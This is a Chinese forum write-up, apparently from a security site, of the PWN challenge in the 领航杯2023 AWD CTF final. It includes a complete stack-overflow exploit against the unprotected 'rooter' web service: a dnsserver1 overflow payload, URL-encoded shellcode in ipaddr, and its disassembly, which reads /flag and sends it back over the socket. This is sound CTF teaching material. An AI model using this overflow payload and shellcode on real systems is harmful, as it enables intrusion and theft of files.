首页
社区
课程
招聘
领航杯2023决赛PWN题解
2023-9-5 21:42 8906

领航杯2023决赛PWN题解

2023-9-5 21:42
8906

领航杯2023决赛PWN题解

0x00 前言

众所周知,领航杯是萌新友好、难度极低的CTF竞赛。领航杯2023决赛采用AWD赛制,依次包含白盒、黑盒和PWN共3题。本文为第3题题解。

0x01 题目环境分析

登录容器,检查进程。结果如下。

1
2
3
python /app/rooter.py
sh -c /app/rooter
/app/rooter

打包/app,下载备份。结构如下。

1
2
3
4
5
6
7
/app/
├── login.html
├── lucke.html
├── rooter
└── rooter.py
 
0 directories, 4 files

其中,login.htmllucke.html为静态网页。如图。

rooter为服务程序。检查保护。结果如下。

1
2
3
4
5
6
7
[*] '/app/rooter'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

不难发现没有保护。

rooter.py为守护脚本。脚本内部包含大量提示。通过脚本提示可知端口为8008,漏洞页面为WanStaticIp.html,请求方法为POST,参数包括ipaddrdnsserver2等。这些可以在服务程序分析中进一步确认。

按照题目描述,flag位于/flag中,格式为cnhongke{^[0-9a-f]{32}$}

0x02 服务程序分析

使用Relyze分析rooter。通过题目环境分析定位关键位置WanStaticIp_rpm。如图。

不难发现使用strcpy_2dnsserver1dnsserver2复制时可能覆盖返回地址。如图。

进一步观察global_block。通过查找交叉引用定位关键位置init_dispatcher。如图。

发现其基址为0x0233C000,且具有RWX权限。

一种可能dnsserver1载荷如下。

1
dnsserver1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%70%C0%33%02

其中,结尾的%70%C0%33%02代表覆盖返回地址为0x0233C070

同时,相应ipaddr载荷如下。

1
ipaddr=%F3%0F%1E%FA%55%48%8B%EC%48%83%EC%60%48%89%7D%F8%B8%04%5C%CF%72%35%2B%3A%A3%13%89%45%F0%B8%65%DB%A4%62%35%02%DB%A4%62%89%45%F4%BE%A0%2C%35%14%81%F6%D2%2C%35%14%48%8D%7D%F0%E8%A2%54%0C%FE%BA%50%DA%47%F8%81%F2%10%DA%47%F8%48%8D%75%B0%8B%F8%E8%EC%53%0C%FE%33%C9%48%8B%D0%48%8D%75%B0%48%8B%7D%F8%8B%7F%10%E8%47%53%0C%FE%48%89%EC%5D%C3%90%90%48%8B%BC%24%B8%FD%FF%FF%E8%83%FF%FF%FF%48%8D%6C%24%30%48%89%EC%5D%C3

上述载荷反汇编如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
   0x233c000:   endbr64
   0x233c004:   push   %rbp
   0x233c005:   mov    %rsp,%rbp
   0x233c008:   sub    $0x60,%rsp
   0x233c00c:   mov    %rdi,-0x8(%rbp)
   0x233c010:   mov    $0x72cf5c04,%eax
   0x233c015:   xor    $0x13a33a2b,%eax
   0x233c01a:   mov    %eax,-0x10(%rbp)
   0x233c01d:   mov    $0x62a4db65,%eax
   0x233c022:   xor    $0x62a4db02,%eax
   0x233c027:   mov    %eax,-0xc(%rbp)
   0x233c02a:   mov    $0x14352ca0,%esi
   0x233c02f:   xor    $0x14352cd2,%esi
   0x233c035:   lea    -0x10(%rbp),%rdi
   0x233c039:   callq  0x4014e0 <open@plt>
   0x233c03e:   mov    $0xf847da50,%edx
   0x233c043:   xor    $0xf847da10,%edx
   0x233c049:   lea    -0x50(%rbp),%rsi
   0x233c04d:   mov    %eax,%edi
   0x233c04f:   callq  0x401440 <read@plt>
   0x233c054:   xor    %ecx,%ecx
   0x233c056:   mov    %rax,%rdx
   0x233c059:   lea    -0x50(%rbp),%rsi
   0x233c05d:   mov    -0x8(%rbp),%rdi
   0x233c061:   mov    0x10(%rdi),%edi
   0x233c064:   callq  0x4013b0 <send@plt>
   0x233c069:   mov    %rbp,%rsp
   0x233c06c:   pop    %rbp
   0x233c06d:   retq
   0x233c06e:   nop
   0x233c06f:   nop
=> 0x233c070:   mov    -0x248(%rsp),%rdi
   0x233c078:   callq  0x233c000
   0x233c07d:   lea    0x30(%rsp),%rbp
   0x233c082:   mov    %rbp,%rsp
   0x233c085:   pop    %rbp
   0x233c086:   retq

上述载荷中采用了异或,这是因为载荷中不能出现%00'\0')和%26'&')等。

简单使用curl请求,即可得到flag。如图。

0x03 后记

题目真的非常简单,仅供娱乐。但是如此简单的竞赛我们取得了倒数的成绩,简直奇耻大辱。附件如下。


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 19431
活跃值: (29092)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-9-6 09:29
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回